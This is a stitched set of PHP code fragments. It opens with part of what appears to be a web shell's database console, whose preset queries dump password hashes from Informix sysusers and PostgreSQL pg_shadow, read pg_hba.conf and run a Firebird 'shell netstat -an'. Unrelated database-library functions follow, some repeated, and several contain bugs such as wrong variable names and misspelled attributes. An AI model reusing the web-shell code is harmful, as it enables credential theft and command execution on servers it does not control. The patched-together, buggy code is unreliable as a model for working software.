oci_free_statement($oraresult);
ocilogoff();
}
} elseif ($db == "ifx") {
$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
$ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
$ifxquery = stripslashes($ifxquery);
print <<<END
<form method="POST" name="ifxform" action="?s=w&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br><br>
<script language="javascript">
function ifxFull(i){
\tStr = new Array(11);
Str[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
Str[2] = "select name from sysdatabases;";
Str[3] = "select tabname from systables;";
Str[4] = "select colname from syscolumns where tabid=n;";
Str[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
<option value="1">dbservername</option>
<option value="1">databases</option>
<option value="2">tables</option>
<option value="3">columns</option>
<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($ifxaction == 'ifxquery') {
$ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
$ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
$ifxrow = ifx_fetch_row($ifxresult);
echo '<font face="verdana">';
echo '<table border="1" cellpadding="1" cellspacing="2">';
echo "\n<tr>\n";
for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
echo '<td bgcolor="#228B22"><b>' . ifx_fieldproperties($ifxresult);
echo "</b></td>\n";
}
echo "</tr>\n";
mysql_data_seek($ifxresult, 0);
while ($ifxrow = ifx_fetch_row($ifxresult)) {
echo "<tr>\n";
for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
echo '<td bgcolor="#B8B8E8">';
echo "{$ifxrow[$i]}";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
ifx_free_result($ifxresult);
ifx_close();
}
} elseif ($db == "db2") {
$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
$db2action = isset($_POST['action']) ? $_POST['action'] : '';
$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
$db2query = stripslashes($db2query);
print <<<END
<form method="POST" name="db2form" action="?s=w&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br><br>
<script language="javascript">
function db2Full(i){
\tStr = new Array(4);
Str[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
Str[2] = "select name from sysibm.systables;";
Str[3] = "select colname from syscat.columns where tabname='table_name';";
Str[4] = "db2 get db cfg for db_name;";
\tdb2form.db2sql.value = Str[i];
\treturn true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
<option value="1">databases</option>
<option value="1">tables</option>
<option value="2">columns</option>
<option value="3">db config</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($myaction == 'db2query') {
//$db2string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$db2dbname;"."HOSTNAME=$db2host;PORT=$db2port;PROTOCOL=TCPIP;UID=$db2user;PWD=$db2pass;";
$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
$db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
$db2row = db2_fetch_row($db2result);
echo '<font face="verdana">';
echo '<table border="1" cellpadding="1" cellspacing="2">';
echo "\n<tr>\n";
for ($i = 0; $i < db2_num_fields($db2result); $i++) {
echo '<td bgcolor="#228B22"><b>' . db2_field_name($db2result);
echo "</b></td>\n";
}
echo "</tr>\n";
while ($db2row = db2_fetch_row($db2result)) {
echo "<tr>\n";
for ($i = 0; $i < db2_num_fields($db2result); $i++) {
echo '<td bgcolor="#B8B8E8">';
echo "{$db2row[$i]}";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
db2_free_result($db2result);
db2_close();
}
} elseif ($db == "fb") {
$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
$fbpath = str_replace("\\\\", "\\", $fbpath);
$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
$fbaction = isset($_POST['action']) ? $_POST['action'] : '';
$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
$fbquery = stripslashes($fbquery);
print <<<END
<form method="POST" name="fbform" action="?s=w&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
\tStr = new Array(5);
Str[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
Str[3] = "input 'D:\\createtable.sql';";
Str[4] = "shell netstat -an;";
\tfbform.fbsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
<option value="1">tables</option>
<option value="2">columns</option>
<option value="3">import sql</option>
<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($fbaction == 'fbquery') {
$fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
$fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
echo '<font face="verdana">';
echo '<table border="1" cellpadding="1" cellspacing="2">';
echo "\n<tr>\n";
for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
echo '<td bgcolor="#228B22"><b>' . ibase_field_info($fbresult, $i);
echo "</b></td>\n";
}
echo "</tr>\n";
ibase_field_info($fbresult, 0);
while ($fbrow = ibase_fetch_row($fbresult)) {
echo "<tr>\n";
for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
echo '<td bgcolor="#B8B8E8">';
echo "{$fbrow[$i]}";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
ibase_free_result($fbresult);
ibase_close();
}
} else {
$pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost';
$pguser = isset($_POST['pguser']) ? $_POST['pguser'] : '******';
$pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : '';
$pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres';
$pgaction = isset($_POST['action']) ? $_POST['action'] : '';
$pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : '';
$pgquery = stripslashes($pgquery);
print <<<END
<form method="POST" name="pgform" action="?s=w">
<div class="actall">Host:<input type="text" name="pghost" value="{$pghost}" style="width:100px;">
User:<input type="text" name="pguser" vaule="{$pguser}" style="width:100px">
Pass:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px">
Dbname:<input type="text" name="pgdbname" value="{$pgdbname}" style="width:100px"><br><br>
<script language="javascript">
function pgFull(i){
\tStr = new Array(7);
\tStr[0] = "";
Str[1] = "select version();";
Str[2] = "select datname from pg_database;";
Str[3] = "select relname from pg_stat_user_tables limit 1 offset n;";
Str[4] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;";
Str[5] = "select usename,passwd from pg_shadow;";
\tStr[6] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));";
\tpgform.pgsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br>
<select onchange="return pgFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
<option value="1">version</option>
<option value="2">databases</option>
<option value="3">tables</option>
<option value="4">columns</option>
<option value="5">hashes</option>
\t<option value="6">pg_hb.conf</option>
</select>
<input type="hidden" name="action" value="pgquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($pgaction == 'pgquery') {
$pgconn = pg_connect("host={$pghost} dbname={$pgdbname} user={$pguser} password={$pgpass} ") or die('Could not connect: ' . pg_last_error());
$pgresult = pg_query($pgquery) or die('Query failed: ' . pg_last_error());
$pgrow = pg_fetch_row($pgresult);
echo '<font face="verdana">';
echo '<table border="1" cellpadding="1" cellspacing="2">';
echo "\n<tr>\n";
for ($i = 0; $i < pg_num_fields($pgresult); $i++) {
echo '<td bgcolor="#228B22"><b>' . pg_field_name($pgresult, $i);
echo "</b></td>\n";
}
echo "</tr>\n";
pg_result_seek($pgresult, 0);
while ($pgrow = pg_fetch_row($pgresult)) {
echo "<tr>\n";
for ($i = 0; $i < pg_num_fields($pgresult); $i++) {
echo '<td bgcolor="#B8B8E8">';
echo "{$pgrow[$i]}";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
pg_free_result($pgresult);
pg_close();
}
}
}
function DBfetch(&$cursor, $convertNulls = true)
{
global $DB;
$result = false;
if (!isset($DB['DB']) || empty($DB['DB']) || is_bool($cursor)) {
return $result;
}
switch ($DB['TYPE']) {
case ZBX_DB_MYSQL:
if (!($result = mysql_fetch_assoc($cursor))) {
mysql_free_result($cursor);
}
break;
case ZBX_DB_POSTGRESQL:
if (!($result = pg_fetch_assoc($cursor))) {
pg_free_result($cursor);
}
break;
case ZBX_DB_ORACLE:
if (ocifetchinto($cursor, $row, OCI_ASSOC + OCI_RETURN_NULLS)) {
$result = array();
foreach ($row as $key => $value) {
$field_type = zbx_strtolower(oci_field_type($cursor, $key));
$value = str_in_array($field_type, array('varchar', 'varchar2', 'blob', 'clob')) && is_null($value) ? '' : $value;
if (is_object($value) && zbx_stristr($field_type, 'lob') !== false) {
$value = $value->load();
}
$result[zbx_strtolower($key)] = $value;
}
}
break;
case ZBX_DB_DB2:
if (!($result = db2_fetch_assoc($cursor))) {
db2_free_result($cursor);
} else {
// cast all of the values to string to be consistent with other DB drivers: all of them return
// only strings.
foreach ($result as &$value) {
if ($value !== null) {
$value = (string) $value;
}
}
unset($value);
}
break;
case ZBX_DB_SQLITE3:
if ($DB['TRANSACTIONS'] == 0) {
lock_sqlite3_access();
}
if (!($result = $cursor->fetchArray(SQLITE3_ASSOC))) {
unset($cursor);
} else {
// cast all of the values to string to be consistent with other DB drivers: all of them return
// only strings.
foreach ($result as &$value) {
$value = (string) $value;
}
unset($value);
}
if ($DB['TRANSACTIONS'] == 0) {
unlock_sqlite3_access();
}
break;
}
if ($convertNulls && $result) {
foreach ($result as $key => $val) {
if (is_null($val)) {
$result[$key] = '0';
}
}
}
return $result;
}
/**
* Disconnects from database.
*
* @return boolean True if the database could be disconnected, else false
*/
public function disconnect()
{
// TODO: Remove Error Suppression
@db2_free_result($this->results);
$this->connected = !@db2_close($this->connection);
return !$this->connected;
}
function dbi_free_result($res)
{
if ($res === true) {
// Not needed for UPDATE, DELETE, etc
return;
}
if (strcmp($GLOBALS['db_type'], 'mysql') == 0) {
return mysql_free_result($res);
} elseif (strcmp($GLOBALS['db_type'], 'mysqli') == 0) {
return mysqli_free_result($res);
} elseif (strcmp($GLOBALS['db_type'], 'mssql') == 0) {
return mssql_free_result($res);
} elseif (strcmp($GLOBALS['db_type'], 'oracle') == 0) {
// Not supported. Ingore.
if ($GLOBALS['oracle_statement'] >= 0) {
OCIFreeStatement($GLOBALS['oracle_statement']);
$GLOBALS['oracle_statement'] = -1;
}
} elseif (strcmp($GLOBALS['db_type'], 'postgresql') == 0) {
return pg_freeresult($res);
} elseif (strcmp($GLOBALS['db_type'], 'odbc') == 0) {
return odbc_free_result($res);
} elseif (strcmp($GLOBALS['db_type'], 'ibm_db2') == 0) {
return db2_free_result($res);
} elseif (strcmp($GLOBALS['db_type'], 'ibase') == 0) {
return ibase_free_result($res);
} elseif (strcmp($GLOBALS['db_type'], 'sqlite') == 0) {
// Not supported
} else {
dbi_fatal_error('dbi_free_result (): ' . translate('db_type not defined.'));
}
}
function DBfetch(&$cursor)
{
global $DB;
$result = false;
if (isset($DB['DB']) && !empty($DB['DB'])) {
switch ($DB['TYPE']) {
case 'MYSQL':
$result = mysql_fetch_assoc($cursor);
if (!$result) {
mysql_free_result($cursor);
}
break;
case 'POSTGRESQL':
$result = pg_fetch_assoc($cursor);
if (!$result) {
pg_free_result($cursor);
}
break;
case 'ORACLE':
if (ocifetchinto($cursor, $row, OCI_ASSOC + OCI_RETURN_NULLS)) {
$result = array();
foreach ($row as $key => $value) {
$field_type = zbx_strtolower(oci_field_type($cursor, $key));
$value = str_in_array($field_type, array('varchar', 'varchar2', 'blob', 'clob')) && is_null($value) ? '' : $value;
if (is_object($value) && zbx_stristr($field_type, 'lob') !== false) {
$value = $value->load();
}
$result[zbx_strtolower($key)] = $value;
}
}
break;
case 'IBM_DB2':
$result = db2_fetch_assoc($cursor);
if (!$result) {
db2_free_result($cursor);
}
break;
case 'SQLITE3':
if ($cursor) {
$result = array_shift($cursor);
if (is_null($result)) {
$result = false;
}
}
break;
}
}
/*
if($result === false){
switch($DB['TYPE']){
case 'MYSQL': mysql_free_result($cursor); break;
case 'POSTGRESQL': pg_free_result($cursor); break;
case 'ORACLE': oci_free_statement($cursor); break;
}
}
//*/
return $result;
}
/**
* This function processes an SQL statement that will NOT return data.
*
* @access public
* @override
* @param string $sql the SQL statement
* @throws Throwable_SQL_Exception indicates that the executed
* statement failed
*
* @see http://www.php.net/manual/en/function.db2-exec.php
* @see http://www.php.net/manual/en/function.db2-free-result.php
*/
public function execute($sql)
{
if (!$this->is_connected()) {
throw new Throwable_SQL_Exception('Message: Failed to execute SQL statement. Reason: Unable to find connection.');
}
$command = @db2_exec($this->resource, $sql);
if ($command === FALSE) {
throw new Throwable_SQL_Exception('Message: Failed to execute SQL statement. Reason: :reason', array(':reason' => @db2_stmt_errormsg($command)));
}
$this->sql = $sql;
@db2_free_result($command);
}
protected function freeDbResult($dbResult)
{
if (!empty($dbResult)) {
db2_free_result($dbResult);
}
}
/**
* Executes an SQL query
*
* @param string|fStatement $statement The statement to perform
* @param fResult $result The result object for the query
* @param array $params The parameters for prepared statements
* @return void
*/
private function performQuery($statement, $result, $params)
{
$this->setErrorHandler();
$extra = NULL;
if (is_object($statement)) {
$statement->executeQuery($result, $params, $extra, $statement != $this->statement);
} elseif ($this->extension == 'ibm_db2') {
$extra = db2_exec($this->connection, $statement, array('cursor' => DB2_FORWARD_ONLY));
if (is_resource($extra)) {
$rows = array();
while ($row = db2_fetch_assoc($extra)) {
$rows[] = $row;
}
$result->setResult($rows);
unset($rows);
} else {
$result->setResult($extra);
}
} elseif ($this->extension == 'mssql') {
$result->setResult(mssql_query($result->getSQL(), $this->connection));
} elseif ($this->extension == 'mysql') {
$result->setResult(mysql_query($result->getSQL(), $this->connection));
} elseif ($this->extension == 'mysqli') {
$result->setResult(mysqli_query($this->connection, $result->getSQL()));
} elseif ($this->extension == 'oci8') {
$extra = oci_parse($this->connection, $result->getSQL());
if (oci_execute($extra, $this->inside_transaction ? OCI_DEFAULT : OCI_COMMIT_ON_SUCCESS)) {
oci_fetch_all($extra, $rows, 0, -1, OCI_FETCHSTATEMENT_BY_ROW + OCI_ASSOC);
$result->setResult($rows);
unset($rows);
} else {
$result->setResult(FALSE);
}
} elseif ($this->extension == 'odbc') {
$extra = odbc_exec($this->connection, $result->getSQL());
if (is_resource($extra)) {
$rows = array();
// Allow up to 1MB of binary data
odbc_longreadlen($extra, 1048576);
odbc_binmode($extra, ODBC_BINMODE_CONVERT);
while ($row = odbc_fetch_array($extra)) {
$rows[] = $row;
}
$result->setResult($rows);
unset($rows);
} else {
$result->setResult($extra);
}
} elseif ($this->extension == 'pgsql') {
$result->setResult(pg_query($this->connection, $result->getSQL()));
} elseif ($this->extension == 'sqlite') {
$result->setResult(sqlite_query($this->connection, $result->getSQL(), SQLITE_ASSOC, $extra));
} elseif ($this->extension == 'sqlsrv') {
$extra = sqlsrv_query($this->connection, $result->getSQL());
if (is_resource($extra)) {
$rows = array();
while ($row = sqlsrv_fetch_array($extra, SQLSRV_FETCH_ASSOC)) {
$rows[] = $row;
}
$result->setResult($rows);
unset($rows);
} else {
$result->setResult($extra);
}
} elseif ($this->extension == 'pdo') {
if (preg_match('#^\\s*CREATE(\\s+OR\\s+REPLACE)?\\s+TRIGGER#i', $result->getSQL())) {
$this->connection->exec($result->getSQL());
$extra = FALSE;
$returned_rows = array();
} else {
$extra = $this->connection->query($result->getSQL());
$returned_rows = is_object($extra) ? $extra->fetchAll(PDO::FETCH_ASSOC) : $extra;
// The pdo_pgsql driver likes to return empty rows equal to the number of affected rows for insert and deletes
if ($this->type == 'postgresql' && $returned_rows && $returned_rows[0] == array()) {
$returned_rows = array();
}
}
$result->setResult($returned_rows);
}
$this->statement = $statement;
$this->restoreErrorHandler();
$this->checkForError($result, $extra);
if ($this->extension == 'ibm_db2') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
db2_free_result($extra);
}
} elseif ($this->extension == 'pdo') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
$extra->closeCursor();
}
} elseif ($this->extension == 'oci8') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
oci_free_statement($extra);
}
} elseif ($this->extension == 'odbc') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
odbc_free_result($extra);
}
} elseif ($this->extension == 'sqlsrv') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
sqlsrv_free_stmt($extra);
}
} else {
$this->setAffectedRows($result, $extra);
}
$this->setReturnedRows($result);
$this->handleAutoIncrementedValue($result, $extra);
}
/**
* Frees up the result object
*
* @internal
*
* @return void
*/
public function __destruct()
{
if (!is_resource($this->result) && !is_object($this->result)) {
return;
}
// stdClass results are holders for prepared statements, so we don't
// want to free them since it would break fStatement
if ($this->result instanceof stdClass) {
if ($this->extension == 'msyqli') {
$this->result->statement->free_result();
}
unset($this->result);
return;
}
switch ($this->extension) {
case 'ibm_db2':
db2_free_result($this->result);
break;
case 'mssql':
mssql_free_result($this->result);
break;
case 'mysql':
mysql_free_result($this->result);
break;
case 'mysqli':
mysqli_free_result($this->result);
break;
case 'oci8':
oci_free_statement($this->result);
break;
case 'pgsql':
pg_free_result($this->result);
break;
case 'sqlite':
unset($this->result);
break;
case 'sqlsrv':
sqlsrv_free_stmt($this->result);
break;
case 'pdo':
$this->result->closeCursor();
break;
}
$this->result = NULL;
}
/**
* Executes an SQL query
*
* @param string|fStatement $statement The statement to perform
* @param fResult $result The result object for the query
* @param array $params The parameters for prepared statements
* @return void
*/
private function performQuery($statement, $result, $params)
{
fCore::startErrorCapture();
$extra = NULL;
if (is_object($statement)) {
$statement->executeQuery($result, $params, $extra, $statement != $this->statement);
} elseif ($this->extension == 'ibm_db2') {
$extra = db2_exec($this->connection, $statement, array('cursor' => DB2_FORWARD_ONLY));
if (is_resource($extra)) {
$rows = array();
while ($row = db2_fetch_assoc($extra)) {
$rows[] = $row;
}
$result->setResult($rows);
unset($rows);
} else {
$result->setResult($extra);
}
} elseif ($this->extension == 'mssql') {
$result->setResult(mssql_query($result->getSQL(), $this->connection));
} elseif ($this->extension == 'mysql') {
$result->setResult(mysql_query($result->getSQL(), $this->connection));
} elseif ($this->extension == 'mysqli') {
$result->setResult(mysqli_query($this->connection, $result->getSQL()));
} elseif ($this->extension == 'oci8') {
$extra = oci_parse($this->connection, $result->getSQL());
if (oci_execute($extra, $this->inside_transaction ? OCI_DEFAULT : OCI_COMMIT_ON_SUCCESS)) {
oci_fetch_all($extra, $rows, 0, -1, OCI_FETCHSTATEMENT_BY_ROW + OCI_ASSOC);
$result->setResult($rows);
unset($rows);
} else {
$result->setResult(FALSE);
}
} elseif ($this->extension == 'pgsql') {
$result->setResult(pg_query($this->connection, $result->getSQL()));
} elseif ($this->extension == 'sqlite') {
$result->setResult(sqlite_query($this->connection, $result->getSQL(), SQLITE_ASSOC, $extra));
} elseif ($this->extension == 'sqlsrv') {
$extra = sqlsrv_query($this->connection, $result->getSQL());
if (is_resource($extra)) {
$rows = array();
while ($row = sqlsrv_fetch_array($extra, SQLSRV_FETCH_ASSOC)) {
$rows[] = $row;
}
$result->setResult($rows);
unset($rows);
} else {
$result->setResult($extra);
}
} elseif ($this->extension == 'pdo') {
if (preg_match('#^\\s*CREATE(\\s+OR\\s+REPLACE)?\\s+TRIGGER#i', $result->getSQL())) {
$this->connection->exec($result->getSQL());
$extra = FALSE;
$returned_rows = array();
} else {
$extra = $this->connection->query($result->getSQL());
if (is_object($extra)) {
// This fixes a segfault issue with blobs and fetchAll() for pdo_ibm
if ($this->type == 'db2') {
$returned_rows = array();
$scanned_for_blobs = FALSE;
$blob_columns = array();
while (($row = $extra->fetch(PDO::FETCH_ASSOC)) !== FALSE) {
if (!$scanned_for_blobs) {
foreach ($row as $key => $value) {
if (is_resource($value)) {
$blob_columns[] = $key;
}
}
}
foreach ($blob_columns as $blob_column) {
$row[$blob_column] = stream_get_contents($row[$blob_column]);
}
$returned_rows[] = $row;
}
} else {
$returned_rows = $extra->fetchAll(PDO::FETCH_ASSOC);
}
} else {
$returned_rows = $extra;
}
// The pdo_pgsql driver likes to return empty rows equal to the number of affected rows for insert and deletes
if ($this->type == 'postgresql' && $returned_rows && $returned_rows[0] == array()) {
$returned_rows = array();
}
}
$result->setResult($returned_rows);
}
$this->statement = $statement;
$this->handleErrors(fCore::stopErrorCapture());
$this->checkForError($result, $extra);
if ($this->extension == 'ibm_db2') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
db2_free_result($extra);
}
} elseif ($this->extension == 'pdo') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
$extra->closeCursor();
}
} elseif ($this->extension == 'oci8') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
oci_free_statement($extra);
}
} elseif ($this->extension == 'sqlsrv') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
sqlsrv_free_stmt($extra);
}
} else {
$this->setAffectedRows($result, $extra);
}
$this->setReturnedRows($result);
$this->handleAutoIncrementedValue($result, $extra);
}
function dbFreeResult($result)
{
return db2_free_result($result);
}
